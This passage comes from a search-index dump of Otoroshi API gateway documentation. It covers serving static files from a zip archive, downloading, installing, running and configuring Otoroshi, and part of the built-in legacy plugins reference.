website and static files ","content":"# Quickly expose a website and static files \n\n@@include[badge.md](../includes/badge.md) { #badge }\n\n## Tutorial\n\n1. [Before your start](#before-your-start)\n2. [Create an archive with HTML and CSS files](#create-an-archive-with-html-and-css-files)\n2. [Use the Zip Backend Plugin](#use-the-zip-backend-plugin)\n\nAfter completing these steps, you will be able to statically expose any kind of files from an archive.\n\n## Before your start\n\n@@include[initialize.md](../includes/initialize.md) { #initialize-otoroshi }\n\n## Create an archive with HTML and CSS files\n\nLet's start by creating an archive composed of html and css files.\n\nThe contents of your `index.html` file should be likes this:\n\n```html\n\n\n\n Wasmo plugin\n \n\n\n

Hello from Wasmo

\n\n\n```\n\nThe contents of your `index.css` file should be likes this:\n\n```css\nbody {\n background: #f9b000;\n display: flex;\n justify-content: center;\n align-items: center;\n height: 100dvh;\n}\n\nh1 {\n font-size: 3rem;\n color: #fff;\n}\n```\n\nOnce created, you can create the archive of both.\n\n```sh\nzip bundle.zip index.html index.css\n```\n\n## Use the Zip Backend Plugin \n\nLet's create the route using the Otoroshi admin API. The route content is pretty simple, a few fields about the name and the frontend, and the Zip Backend plugin in the plugins list.\n\nDon't forget to change the default `path-to-the-zip-file` with your path.\n\n``` sh\ncurl -X POST 'http://otoroshi-api.oto.tools:8080/api/routes' \\\n-H \"Content-type: application/json\" \\\n-u admin-api-apikey-id:admin-api-apikey-secret \\\n-d @- <<'EOF'\n{\n \"name\": \"demootoroshi\",\n \"frontend\": {\n \"domains\": [\"demo-otoroshi.oto.tools\"]\n },\n \"backend\": {\n \"targets\": [\n {\n \"hostname\": \"mirror.otoroshi.io\",\n \"port\": 443,\n \"tls\": true\n }\n ]\n },\n \"plugins\": [\n {\n \"enabled\": true,\n \"debug\": false,\n \"plugin\": \"cp:otoroshi.next.plugins.ZipFileBackend\",\n \"include\": [],\n \"exclude\": [],\n \"config\": {\n \"url\": \"file:///bundle.zip\",\n \"headers\": {},\n \"dir\": \"./zips\",\n \"prefix\": null,\n \"ttl\": 3600000\n }\n }\n ]\n}\nEOF\n```\n\nCalling the route in a new browser tab at `http://demo-otoroshi.oto.tools:8080/`. You should see something like the following image:\n\n@@@ div { .centered-img }\n\n@@@\n\nAs we can see, the content of the archive is available, our HTML page is served and the CSS, linked into the HTML page, has loaded.\n\nYou can check this behaviour by calling the following path: \n\n```bash\ncurl http://demo-otoroshi.oto.tools:8080/index.css -v\n```\n\nThe result should be like:\n\n```bash\n< HTTP/1.1 200 OK\n< Transfer-Encoding: chunked\n< Content-Type: text/css\n<\nbody {\n background: #f9b000;\n display: flex;\n justify-content: center;\n align-items: center;\n height: 100dvh;\n}\n\nh1 {\n font-size: 3rem;\n color: #fff;\n}\n```\n\nCongratulations - You have just exposed your first archive. Do not hesitate to expose any type of content."},{"name":"badge.md","id":"/includes/badge.md","url":"/includes/badge.html","title":"","content":"\n
\nRoute plugins:\n
Zip file backend plugin
\n
\n\n"},{"name":"experimental.md","id":"/includes/experimental.md","url":"/includes/experimental.html","title":"@@@ warning","content":"@@@ warning\n\nthis feature is **EXPERIMENTAL** and might not work as expected.
\nIf you encounter any bugs, [please fill an issue](https://github.com/MAIF/otoroshi/issues/new), it will help us a lot :)\n\n@@@\n"},{"name":"fetch-and-start.md","id":"/includes/fetch-and-start.md","url":"/includes/fetch-and-start.html","title":"","content":"\nIf you already have an up and running otoroshi instance, you can skip the following instructions\n\nLet's start by downloading the latest Otoroshi.\n\n```sh\ncurl -L -o otoroshi.jar 'https://github.com/MAIF/otoroshi/releases/download/v16.15.4/otoroshi.jar'\n```\n\nthen you can run start Otoroshi :\n\n```sh\njava -Dotoroshi.adminPassword=password -jar otoroshi.jar \n```\n\nNow you can log into Otoroshi at @link:[http://otoroshi.oto.tools:8080](http://otoroshi.oto.tools:8080) { open=new } with `admin@otoroshi.io/password`\n"},{"name":"initialize.md","id":"/includes/initialize.md","url":"/includes/initialize.html","title":"","content":"\n\nIf you already have an up and running otoroshi instance, you can skip the following instructions\n\n\n@@@div { .instructions }\n\n
\nSet up an Otoroshi\n\n
\n\nLet's start by downloading the latest Otoroshi.\n\n```sh\ncurl -L -o otoroshi.jar 'https://github.com/MAIF/otoroshi/releases/download/v16.15.4/otoroshi.jar'\n```\n\nthen you can run start Otoroshi :\n\n```sh\njava -Dotoroshi.adminPassword=password -jar otoroshi.jar \n```\n\nNow you can log into Otoroshi at http://otoroshi.oto.tools:8080 with `admin@otoroshi.io/password`\n\nCreate a new route, exposed on `http://myservice.oto.tools:8080`, which will forward all requests to the mirror `https://mirror.otoroshi.io`. Each call to this service will returned the body and the headers received by the mirror.\n\n```sh\ncurl -X POST 'http://otoroshi-api.oto.tools:8080/api/routes' \\\n-H \"Content-type: application/json\" \\\n-u admin-api-apikey-id:admin-api-apikey-secret \\\n-d @- <<'EOF'\n{\n \"name\": \"my-service\",\n \"frontend\": {\n \"domains\": [\"myservice.oto.tools\"]\n },\n \"backend\": {\n \"targets\": [\n {\n \"hostname\": \"mirror.otoroshi.io\",\n \"port\": 443,\n \"tls\": true\n }\n ]\n }\n}\nEOF\n```\n\n\n@@@\n"},{"name":"index.md","id":"/index.md","url":"/index.html","title":"Otoroshi","content":"# Otoroshi\n\n**Otoroshi** is a layer of lightweight api management on top of a modern http reverse proxy written in Scala and developped by the MAIF OSS team that can handle all the calls to and between your microservices without service locator and let you change configuration dynamicaly at runtime.\n\n\n> *The Otoroshi is a large hairy monster that tends to lurk on the top of the torii gate in front of Shinto shrines. It's a hostile creature, but also said to be the guardian of the shrine and is said to leap down from the top of the gate to devour those who approach the shrine for only self-serving purposes.*\n\n@@@ div { .centered-img }\n[![Join the discord](https://img.shields.io/discord/1089571852940218538?color=f9b000&label=Community&logo=Discord&logoColor=f9b000)](https://discord.gg/dmbwZrfpcQ) [ ![Download](https://img.shields.io/github/release/MAIF/otoroshi.svg) ](hhttps://github.com/MAIF/otoroshi/releases/download/v16.15.4/otoroshi.jar)\n@@@\n\n@@@ div { .centered-img }\n\n@@@\n\n## Installation\n\nYou can download the latest build of Otoroshi as a @ref:[fat jar](./install/get-otoroshi.md#from-jar-file), as a @ref:[zip package](./install/get-otoroshi.md#from-zip) or as a @ref:[docker image](./install/get-otoroshi.md#from-docker).\n\nYou can install and run Otoroshi with this little bash snippet\n\n```sh\ncurl -L -o otoroshi.jar 'https://github.com/MAIF/otoroshi/releases/download/v16.15.4/otoroshi.jar'\njava -jar otoroshi.jar\n```\n\nor using docker\n\n```sh\ndocker run -p \"8080:8080\" maif/otoroshi:16.15.4\n```\n\nnow open your browser to http://otoroshi.oto.tools:8080/, **log in with the credential generated in the logs** and explore by yourself, if you want better instructions, just go to the @ref:[Quick Start](./getting-started.md) or directly to the @ref:[installation instructions](./install/get-otoroshi.md)\n\n## Documentation\n\n* @ref:[About Otoroshi](./about.md)\n* @ref:[Architecture](./architecture.md)\n* @ref:[Features](./features.md)\n* @ref:[Getting started](./getting-started.md)\n* @ref:[Install Otoroshi](./install/index.md)\n* @ref:[Main entities](./entities/index.md)\n* @ref:[Detailed topics](./topics/index.md)\n* @ref:[How to's](./how-to-s/index.md)\n* @ref:[Plugins](./plugins/index.md)\n* @ref:[Admin REST API](./api.md)\n* @ref:[Deploy to production](./deploy/index.md)\n* @ref:[Developing Otoroshi](./dev.md)\n\n## Discussion\n\nJoin the @link:[Otoroshi server](https://discord.gg/dmbwZrfpcQ) { open=new } Discord\n\n## Sources\n\nThe sources of Otoroshi are available on @link:[Github](https://github.com/MAIF/otoroshi) { open=new }.\n\n## Logo\n\nYou can find the official Otoroshi logo @link:[on GitHub](https://github.com/MAIF/otoroshi/blob/master/resources/otoroshi-logo.png) { open=new }. The Otoroshi logo has been created by François Galioto ([@fgalioto](https://twitter.com/fgalioto))\n\n## Changelog\n\nEvery release, along with the migration instructions, is documented on the @link:[Github Releases](https://github.com/MAIF/otoroshi/releases) { open=new } page. A condensed version of the changelog is available on @link:[github](https://github.com/MAIF/otoroshi/blob/master/CHANGELOG.md) { open=new }\n\n## Patrons\n\nThe work on Otoroshi is funded by MAIF and Cloud APIM with the help of the community.\n\n## Licence\n\nOtoroshi is Open Source and available under the @link:[Apache 2 License](https://opensource.org/licenses/Apache-2.0) { open=new }\n\n@@@ index\n\n* [About Otoroshi](./about.md)\n* [Architecture](./architecture.md)\n* [Features](./features.md)\n* [Getting started](./getting-started.md)\n* [Install Otoroshi](./install/index.md)\n* [Main entities](./entities/index.md)\n* [Detailed topics](./topics/index.md)\n* [How to's](./how-to-s/index.md)\n* [Plugins](./plugins/index.md)\n* [Admin REST API](./api.md)\n* [Deploy to production](./deploy/index.md)\n* [Developing Otoroshi](./dev.md)\n* [Search doc](./search.md)\n\n@@@\n\n"},{"name":"get-otoroshi.md","id":"/install/get-otoroshi.md","url":"/install/get-otoroshi.html","title":"Get Otoroshi","content":"# Get Otoroshi\n\nAll release can be bound on the releases page of the @link:[repository](https://github.com/MAIF/otoroshi/releases) { open=new }.\n\n## From zip\n\n```sh\n# Download the latest version\nwget https://github.com/MAIF/otoroshi/releases/download/v16.15.4/otoroshi-16.15.4.zip\nunzip ./otoroshi-16.15.4.zip\ncd otoroshi-16.15.4\n```\n\n## From jar file\n\n```sh\n# Download the latest version\nwget https://github.com/MAIF/otoroshi/releases/download/v16.15.4/otoroshi.jar\n```\n\n## From Docker\n\n```sh\n# Download the latest version\ndocker pull maif/otoroshi:16.15.4-jdk11\n```\n\n## From Sources\n\nTo build Otoroshi from sources, just go to the @ref:[dev documentation](../dev.md)\n"},{"name":"index.md","id":"/install/index.md","url":"/install/index.html","title":"Install","content":"# Install\n\nIn this sections, you will find informations about how to install and run Otoroshi\n\n* @ref:[Get Otoroshi](./get-otoroshi.md)\n* @ref:[Setup Otoroshi](./setup-otoroshi.md)\n* @ref:[Run Otoroshi](./run-otoroshi.md)\n\n@@@ index\n\n* [Get Otoroshi](./get-otoroshi.md)\n* [Setup Otoroshi](./setup-otoroshi.md)\n* [Run Otoroshi](./run-otoroshi.md)\n\n@@@\n"},{"name":"run-otoroshi.md","id":"/install/run-otoroshi.md","url":"/install/run-otoroshi.html","title":"Run Otoroshi","content":"# Run Otoroshi\n\nNow you are ready to run Otoroshi. You can run the following command with some tweaks depending on the way you want to configure Otoroshi. If you want to pass a custom configuration file, use the `-Dconfig.file=/path/to/file.conf` flag in the following commands.\n\n## From .zip file\n\n```sh\ncd otoroshi-vx.x.x\n./bin/otoroshi\n```\n\n## From .jar file\n\nFor Java 11\n\n```sh\njava -jar otoroshi.jar\n```\n\nif you want to run the jar file for on a JDK above JDK11, you'll have to add the following flags\n\n```sh\njava \\\n --add-opens=java.base/javax.net.ssl=ALL-UNNAMED \\\n --add-opens=java.base/sun.net.www.protocol.file=ALL-UNNAMED \\\n --add-exports=java.base/sun.security.x509=ALL-UNNAMED \\\n --add-opens=java.base/sun.security.ssl=ALL-UNNAMED \\\n -Dlog4j2.formatMsgNoLookups=true \\\n -jar otoroshi.jar\n```\n\n## From docker\n\n```sh\ndocker run -p \"8080:8080\" maif/otoroshi\n```\n\nYou can also pass useful args like :\n\n```sh\ndocker run -p \"8080:8080\" maif/otoroshi -Dconfig.file=/usr/app/otoroshi/conf/otoroshi.conf -Dlogger.file=/usr/app/otoroshi/conf/otoroshi.xml\n```\n\nIf you want to provide your own config file, you can read @ref:[the documentation about config files](./setup-otoroshi.md).\n\nYou can also provide some ENV variable using the `--env` flag to customize your Otoroshi instance.\n\nThe list of possible env variables is available @ref:[here](./setup-otoroshi.md).\n\nYou can use a volume to provide configuration like :\n\n```sh\ndocker run -p \"8080:8080\" -v \"$(pwd):/usr/app/otoroshi/conf\" maif/otoroshi\n```\n\nYou can also use a volume if you choose to use `filedb` datastore like :\n\n```sh\ndocker run -p \"8080:8080\" -v \"$(pwd)/filedb:/usr/app/otoroshi/filedb\" maif/otoroshi -Dotoroshi.storage=file\n```\n\nYou can also use a volume if you choose to use exports files :\n\n```sh\ndocker run -p \"8080:8080\" -v \"$(pwd):/usr/app/otoroshi/imports\" maif/otoroshi -Dotoroshi.importFrom=/usr/app/otoroshi/imports/export.json\n```\n\n## Run examples\n\n```sh\n$ java \\\n -Xms2G \\\n -Xmx8G \\\n -Dhttp.port=8080 \\\n -Dotoroshi.importFrom=/home/user/otoroshi.json \\\n -Dconfig.file=/home/user/otoroshi.conf \\\n -jar ./otoroshi.jar\n\n[warn] otoroshi-in-memory-datastores - Now using InMemory DataStores\n[warn] otoroshi-env - The main datastore seems to be empty, registering some basic services\n[warn] otoroshi-env - Importing from: /home/user/otoroshi.json\n[info] play.api.Play - Application started (Prod)\n[info] p.c.s.AkkaHttpServer - Listening for HTTP on /0:0:0:0:0:0:0:0:8080\n```\n\nIf you choose to start Otoroshi without importing existing data, Otoroshi will create a new admin user and print the login details in the log. When you will log into the admin dashboard, Otoroshi will ask you to create another account to avoid security issues.\n\n```sh\n$ java \\\n -Xms2G \\\n -Xmx8G \\\n -Dhttp.port=8080 \\\n -jar otoroshi.jar\n\n[warn] otoroshi-in-memory-datastores - Now using InMemory DataStores\n[warn] otoroshi-env - The main datastore seems to be empty, registering some basic services\n[warn] otoroshi-env - You can log into the Otoroshi admin console with the following credentials: admin@otoroshi.io / HHUsiF2UC3OPdmg0lGngEv3RrbIwWV5W\n[info] play.api.Play - Application started (Prod)\n[info] p.c.s.AkkaHttpServer - Listening for HTTP on /0:0:0:0:0:0:0:0:8080\n```\n"},{"name":"setup-otoroshi.md","id":"/install/setup-otoroshi.md","url":"/install/setup-otoroshi.html","title":"Setup Otoroshi","content":"# Setup Otoroshi\n\nin this section we are going to configure otoroshi before running it for the first time\n\n## Setup the database\n\nRight now, Otoroshi supports multiple datastore. You can choose one datastore over another depending on your use case.\n\n@@@div { .plugin .platform } \n
Redis
\n\n
Recommended
\n\nThe **redis** datastore is quite nice when you want to easily deploy several Otoroshi instances.\n\n\n\n@link:[Documentation](https://redis.io/topics/quickstart)\n@@@\n\n@@@div { .plugin .platform } \n
In memory
\n\nThe **in-memory** datastore is kind of interesting. It can be used for testing purposes, but it is also a good candidate for production because of its fastness.\n\n\n\n@ref:[Start with](../getting-started.md)\n@@@\n\n@@@div { .plugin .platform } \n
Cassandra
\n\n
Clustering
\n\nExperimental support, should be used in cluster mode for leaders\n\n\n\n@link:[Documentation](https://cassandra.apache.org/doc/latest/cassandra/getting_started/installing.html)\n@@@\n\n@@@div { .plugin .platform } \n
Postgresql
\n\n
Clustering
\n\nOr any postgresql compatible databse like cockroachdb for instance (experimental support, should be used in cluster mode for leaders)\n\n\n\n@link:[Documentation](https://www.postgresql.org/docs/10/tutorial-install.html)\n@@@\n\n@@@div { .plugin .platform } \n\n
FileDB
\n\nThe **filedb** datastore is pretty handy for testing purposes, but is not supposed to be used in production mode. \nNot suitable for production usage.\n\n\n\n@@@\n\n\n@@@ div { .centered-img }\n\n@@@\n\nthe first thing to setup is what kind of datastore you want to use with the `otoroshi.storage` setting\n\n```conf\notoroshi {\n storage = \"inmemory\" # the storage used by otoroshi. possible values are lettuce (for redis), inmemory, file, http, s3, cassandra, postgresql \n storage = ${?APP_STORAGE} # the storage used by otoroshi. possible values are lettuce (for redis), inmemory, file, http, s3, cassandra, postgresql \n storage = ${?OTOROSHI_STORAGE} # the storage used by otoroshi. possible values are lettuce (for redis), inmemory, file, http, s3, cassandra, postgresql \n}\n```\n\ndepending on the value you chose, you will be able to configure your datastore with the following configuration\n\ninmemory\n: @@snip [inmemory.conf](../snippets/datastores/inmemory.conf) \n\nfile\n: @@snip [file.conf](../snippets/datastores/file.conf) \n\nhttp\n: @@snip [http.conf](../snippets/datastores/http.conf) \n\ns3\n: @@snip [s3.conf](../snippets/datastores/s3.conf) \n\nredis\n: @@snip [lettuce.conf](../snippets/datastores/lettuce.conf) \n\npostgresql\n: @@snip [pg.conf](../snippets/datastores/pg.conf) \n\ncassandra\n: @@snip [inmemory.conf](../snippets/datastores/cassandra.conf) \n\n## Setup your hosts before running\n\nBy default, Otoroshi starts with domain `oto.tools` that automatically targets `127.0.0.1` with no changes to your `/etc/hosts` file. Of course you can change the domain value, you have to add the values in your `/etc/hosts` file according to the setting you put in Otoroshi configuration or define the right ip address at the DNS provider level\n\n* `otoroshi.domain` => `mydomain.org`\n* `otoroshi.backoffice.subdomain` => `otoroshi`\n* `otoroshi.privateapps.subdomain` => `privateapps`\n* `otoroshi.adminapi.exposedSubdomain` => `otoroshi-api`\n* `otoroshi.adminapi.targetSubdomain` => `otoroshi-admin-internal-api`\n\nfor instance if you want to change the default domain and use something like `otoroshi.mydomain.org`, then start otoroshi like \n\n```sh\njava -Dotoroshi.domain=mydomain.org -jar otoroshi.jar\n```\n\n@@@ warning\nOtoroshi cannot be accessed using `http://127.0.0.1:8080` or `http://localhost:8080` because Otoroshi uses Otoroshi to serve it's own UI and API. When otoroshi starts with an empty database, it will create a service descriptor for that using `otoroshi.domain` and the settings listed on this page and in the here that serve Otoroshi API and UI on `http://otoroshi-api.${otoroshi.domain}` and `http://otoroshi.${otoroshi.domain}`.\nOnce the descriptor is saved in database, if you want to change `otoroshi.domain`, you'll have to edit the descriptor in the database or restart Otoroshi with an empty database.\n@@@\n\n@@@ warning\nif your otoroshi instance runs behind a reverse proxy (L4 / L7) or inside a docker container where exposed ports (that you will use to access otoroshi) are not the same that the ones configured in otoroshi (`http.port` and `https.port`), you'll have to configure otoroshi exposed port to avoid bad redirection URLs when using authentication modules and other otoroshi tools. To do that, just set the values of the exposed ports in `otoroshi.exposed-ports.http = $theExposedHttpPort` (OTOROSHI_EXPOSED_PORTS_HTTP) and `otoroshi.exposed-ports.https = $theExposedHttpsPort` (OTOROSHI_EXPOSED_PORTS_HTTPS)\n@@@\n\n## Setup your configuration file\n\nThere is a lot of things you can configure in Otoroshi. By default, Otoroshi provides a configuration that should be enough for testing purpose. But you'll likely need to update this configuration when you'll need to move into production.\n\nIn this page, any configuration property can be set at runtime using a `-D` flag when launching Otoroshi like \n\n```sh\njava -Dhttp.port=8080 -jar otoroshi.jar\n```\n\nor\n\n```sh\n./bin/otoroshi -Dhttp.port=8080 \n```\n\nif you want to define your own config file and use it on an otoroshi instance, use the following flag\n\n```sh\njava -Dconfig.file=/path/to/otoroshi.conf -jar otoroshi.jar\n``` \n\n### Example of a custom. configuration file\n\n```conf\ninclude \"application.conf\"\n\nhttp.port = 8080\n\napp {\n storage = \"inmemory\"\n importFrom = \"./my-state.json\"\n env = \"prod\"\n domain = \"oto.tools\"\n rootScheme = \"http\"\n snowflake {\n seed = 0\n }\n events {\n maxSize = 1000\n }\n backoffice {\n subdomain = \"otoroshi\"\n session {\n exp = 86400000\n }\n }\n privateapps {\n subdomain = \"privateapps\"\n session {\n exp = 86400000\n }\n }\n adminapi {\n targetSubdomain = \"otoroshi-admin-internal-api\"\n exposedSubdomain = \"otoroshi-api\"\n defaultValues {\n backOfficeGroupId = \"admin-api-group\"\n backOfficeApiKeyClientId = \"admin-api-apikey-id\"\n backOfficeApiKeyClientSecret = \"admin-api-apikey-secret\"\n backOfficeServiceId = \"admin-api-service\"\n }\n }\n claim {\n sharedKey = \"mysecret\"\n }\n filedb {\n path = \"./filedb/state.ndjson\"\n }\n}\n\nplay.http {\n session {\n secure = false\n httpOnly = true\n maxAge = 2592000000\n domain = \".oto.tools\"\n cookieName = \"oto-sess\"\n }\n}\n```\n\n### Reference configuration\n\n@@snip [reference.conf](../snippets/reference.conf) \n\n### More config. options\n\nSee default configuration at\n\n* @link:[Base configuration](https://github.com/MAIF/otoroshi/blob/master/otoroshi/conf/base.conf) { open=new }\n* @link:[Application configuration](https://github.com/MAIF/otoroshi/blob/master/otoroshi/conf/application.conf) { open=new }\n\n## Configuration with env. variables\n\nEevery property in the configuration file can be overriden by an environment variable if it has env variable override written like `${?ENV_VARIABLE}`).\n\n## Reference configuration for env. variables\n\n@@snip [reference-env.conf](../snippets/reference-env.conf) \n"},{"name":"built-in-legacy-plugins.md","id":"/plugins/built-in-legacy-plugins.md","url":"/plugins/built-in-legacy-plugins.html","title":"Built-in legacy plugins","content":"# Built-in legacy plugins\n\nOtoroshi provides some plugins out of the box. Here is the available plugins with their documentation and reference configuration\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.accesslog.AccessLog }\n\n## Access log (CLF)\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `AccessLog`\n\n### Description\n\nWith this plugin, any access to a service will be logged in CLF format.\n\nLog format is the following:\n\n`\"$service\" $clientAddress - \"$userId\" [$timestamp] \"$host $method $path $protocol\" \"$status $statusTxt\" $size $snowflake \"$to\" \"$referer\" \"$userAgent\" $http $duration $errorMsg`\n\nThe plugin accepts the following configuration\n\n```json\n{\n \"AccessLog\": {\n \"enabled\": true,\n \"statuses\": [], // list of status to enable logs, if none, log everything\n \"paths\": [], // list of paths to enable logs, if none, log everything\n \"methods\": [], // list of http methods to enable logs, if none, log everything\n \"identities\": [] // list of identities to enable logs, if none, log everything\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"AccessLog\" : {\n \"enabled\" : true,\n \"statuses\" : [ ],\n \"paths\" : [ ],\n \"methods\" : [ ],\n \"identities\" : [ ]\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.accesslog.AccessLogJson }\n\n## Access log (JSON)\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `AccessLog`\n\n### Description\n\nWith this plugin, any access to a service will be logged in json format.\n\nThe plugin accepts the following configuration\n\n```json\n{\n \"AccessLog\": {\n \"enabled\": true,\n \"statuses\": [], // list of status to enable logs, if none, log everything\n \"paths\": [], // list of paths to enable logs, if none, log everything\n \"methods\": [], // list of http methods to enable logs, if none, log everything\n \"identities\": [] // list of identities to enable logs, if none, log everything\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"AccessLog\" : {\n \"enabled\" : true,\n \"statuses\" : [ ],\n \"paths\" : [ ],\n \"methods\" : [ ],\n \"identities\" : [ ]\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.accesslog.KafkaAccessLog }\n\n## Kafka access log\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `KafkaAccessLog`\n\n### Description\n\nWith this plugin, any access to a service will be logged as an event in a kafka topic.\n\nThe plugin accepts the following configuration\n\n```json\n{\n \"KafkaAccessLog\": {\n \"enabled\": true,\n \"topic\": \"otoroshi-access-log\",\n \"statuses\": [], // list of status to enable logs, if none, log everything\n \"paths\": [], // list of paths to enable logs, if none, log everything\n \"methods\": [], // list of http methods to enable logs, if none, log everything\n \"identities\": [] // list of identities to enable logs, if none, log everything\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"KafkaAccessLog\" : {\n \"enabled\" : true,\n \"topic\" : \"otoroshi-access-log\",\n \"statuses\" : [ ],\n \"paths\" : [ ],\n \"methods\" : [ ],\n \"identities\" : [ ]\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.authcallers.BasicAuthCaller }\n\n## Basic Auth. caller\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `BasicAuthCaller`\n\n### Description\n\nThis plugin can be used to call api that are authenticated using basic auth.\n\nThis plugin accepts the following configuration\n\n{\n \"username\" : \"the_username\",\n \"password\" : \"the_password\",\n \"headerName\" : \"Authorization\",\n \"headerValueFormat\" : \"Basic %s\"\n}\n\n\n\n### Default configuration\n\n```json\n{\n \"username\" : \"the_username\",\n \"password\" : \"the_password\",\n \"headerName\" : \"Authorization\",\n \"headerValueFormat\" : \"Basic %s\"\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.authcallers.OAuth2Caller }\n\n## OAuth2 caller\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `OAuth2Caller`\n\n### Description\n\nThis plugin can be used to call api that are authenticated using OAuth2 client_credential/password flow.\nDo not forget to enable client retry to handle token generation on expire.\n\nThis plugin accepts the following configuration\n\n{\n \"kind\" : \"the oauth2 flow, can be 'client_credentials' or 'password'\",\n \"url\" : \"https://127.0.0.1:8080/oauth/token\",\n \"method\" : \"POST\",\n \"headerName\" : \"Authorization\",\n \"headerValueFormat\" : \"Bearer %s\",\n \"jsonPayload\" : false,\n \"clientId\" : \"the client_id\",\n \"clientSecret\" : \"the client_secret\",\n \"scope\" : \"an optional scope\",\n \"audience\" : \"an optional audience\",\n \"user\" : \"an optional username if using password flow\",\n \"password\" : \"an optional password if using password flow\",\n \"cacheTokenSeconds\" : \"the number of second to wait before asking for a new token\",\n \"tlsConfig\" : \"an optional TLS settings object\"\n}\n\n\n\n### Default configuration\n\n```json\n{\n \"kind\" : \"the oauth2 flow, can be 'client_credentials' or 'password'\",\n \"url\" : \"https://127.0.0.1:8080/oauth/token\",\n \"method\" : \"POST\",\n \"headerName\" : \"Authorization\",\n \"headerValueFormat\" : \"Bearer %s\",\n \"jsonPayload\" : false,\n \"clientId\" : \"the client_id\",\n \"clientSecret\" : \"the client_secret\",\n \"scope\" : \"an optional scope\",\n \"audience\" : \"an optional audience\",\n \"user\" : \"an optional username if using password flow\",\n \"password\" : \"an optional password if using password flow\",\n \"cacheTokenSeconds\" : \"the number of second to wait before asking for a new token\",\n \"tlsConfig\" : \"an optional TLS settings object\"\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.cache.ResponseCache }\n\n## Response Cache\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `ResponseCache`\n\n### Description\n\nThis plugin can cache responses from target services in the otoroshi datasstore\nIt also provides a debug UI at `/.well-known/otoroshi/bodylogger`.\n\nThis plugin can accept the following configuration\n\n```json\n{\n \"ResponseCache\": {\n \"enabled\": true, // enabled cache\n \"ttl\": 300000, // store it for some times (5 minutes by default)\n \"maxSize\": 5242880, // max body size (body will be cut after that)\n \"autoClean\": true, // cleanup older keys when all bigger than maxSize\n \"filter\": { // cache only for some status, method and paths\n \"statuses\": [],\n \"methods\": [],\n \"paths\": [],\n \"not\": {\n \"statuses\": [],\n \"methods\": [],\n \"paths\": []\n }\n }\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"ResponseCache\" : {\n \"enabled\" : true,\n \"ttl\" : 3600000,\n \"maxSize\" : 52428800,\n \"autoClean\" : true,\n \"filter\" : {\n \"statuses\" : [ ],\n \"methods\" : [ ],\n \"paths\" : [ ],\n \"not\" : {\n \"statuses\" : [ ],\n \"methods\" : [ ],\n \"paths\" : [ ]\n }\n }\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.clientcert.ClientCertChainHeader }\n\n## Client certificate header\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `ClientCertChain`\n\n### Description\n\nThis plugin pass client certificate informations to the target in headers.\n\nThis plugin can accept the following configuration\n\n```json\n{\n \"ClientCertChain\": {\n \"pem\": { // send client cert as PEM format in a header\n \"send\": false,\n \"header\": \"X-Client-Cert-Pem\"\n },\n \"dns\": { // send JSON array of DNs in a header\n \"send\": false,\n \"header\": \"X-Client-Cert-DNs\"\n },\n \"chain\": { // send JSON representation of client cert chain in a header\n \"send\": true,\n \"header\": \"X-Client-Cert-Chain\"\n },\n \"claims\": { // pass JSON representation of client cert chain in the otoroshi JWT token\n \"send\": false,\n \"name\": \"clientCertChain\"\n }\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"ClientCertChain\" : {\n \"pem\" : {\n \"send\" : false,\n \"header\" : \"X-Client-Cert-Pem\"\n },\n \"dns\" : {\n \"send\" : false,\n \"header\" : \"X-Client-Cert-DNs\"\n },\n \"chain\" : {\n \"send\" : true,\n \"header\" : \"X-Client-Cert-Chain\"\n },\n \"claims\" : {\n \"send\" : false,\n \"name\" : \"clientCertChain\"\n }\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.defer.DeferPlugin }\n\n## Defer Responses\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `DeferPlugin`\n\n### Description\n\nThis plugin will expect a `X-Defer` header or a `defer` query param and defer the response according to the value in milliseconds.\nThis plugin is some kind of inside joke as one a our customer ask us to make slower apis.\n\nThis plugin can accept the following configuration\n\n```json\n{\n \"DeferPlugin\": {\n \"defaultDefer\": 0 // default defer in millis\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"DeferPlugin\" : {\n \"defaultDefer\" : 0\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.discovery.DiscoverySelfRegistrationTransformer }\n\n## Self registration endpoints (service discovery)\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `DiscoverySelfRegistration`\n\n### Description\n\nThis plugin add support for self registration endpoint on a specific service.\n\nThis plugin accepts the following configuration:\n\n\n\n### Default configuration\n\n```json\n{\n \"DiscoverySelfRegistration\" : {\n \"hosts\" : [ ],\n \"targetTemplate\" : { },\n \"registrationTtl\" : 60000\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.geoloc.GeolocationInfoEndpoint }\n\n## Geolocation endpoint\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: ``none``\n\n### Description\n\nThis plugin will expose current geolocation 